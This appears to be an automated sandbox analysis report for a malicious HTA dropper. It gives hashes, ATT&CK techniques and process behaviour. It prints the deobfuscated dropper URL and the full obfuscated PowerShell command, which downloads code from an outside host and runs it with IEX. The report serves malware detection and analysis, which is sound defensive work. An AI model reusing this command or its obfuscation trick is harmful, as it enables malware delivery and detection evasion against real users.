2693749e9e3f7c99543e3e622a335a9db30dc604808f06e3a51f20c33bac8af2

Analysis

max time kernel
44s
max time network
48s
platform
windows7_x64
resource
win7-20220414-en
submitted
06-07-2022 02:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0eaee4c07ea1b88a8e5d044006b42d41.hta
Size

1KB
MD5

0eaee4c07ea1b88a8e5d044006b42d41
SHA1

62fe6a825728c186335fc2a24f24f0608519cdff
SHA256

2693749e9e3f7c99543e3e622a335a9db30dc604808f06e3a51f20c33bac8af2
SHA512

61ea582878866c4a5ac0cff1cfa4a8e59731396a25df430382bee11eedd4c0d942c81fc8c0d375027f45106e1dcff14910ce63e9a2c5b85451b0bd68e7a1311f

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://unimed-corporated.com/updata.jpg

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

4 820 powershell.exe
5 820 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1819626980-2277161760-1023733287-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

820 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 820 powershell.exe

flow	pid	process
4	820	powershell.exe
5	820	powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1819626980-2277161760-1023733287-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
820	powershell.exe

description	pid	process
Token: SeDebugPrivilege	820	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

mshta.exe

description	pid	process	target process
PID 1336 wrote to memory of 820	1336	mshta.exe	powershell.exe
PID 1336 wrote to memory of 820	1336	mshta.exe	powershell.exe
PID 1336 wrote to memory of 820	1336	mshta.exe	powershell.exe
PID 1336 wrote to memory of 820	1336	mshta.exe	powershell.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\0eaee4c07ea1b88a8e5d044006b42d41.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1336

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow__lo--tri__g'.replace('__','n').replace('--','adS'),[Microsoft.VisualBasic.CallType]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://un').Replace('################','imed-corporated.com/updata.jpg'))|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:820

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/820-54-0x0000000000000000-mapping.dmp

Download
memory/820-55-0x0000000074B51000-0x0000000074B53000-memory.dmp

Filesize
8KB

Download
memory/820-56-0x0000000071AD0000-0x000000007207B000-memory.dmp

Filesize
5.7MB

Download
memory/820-57-0x0000000071AD0000-0x000000007207B000-memory.dmp

Filesize
5.7MB

Download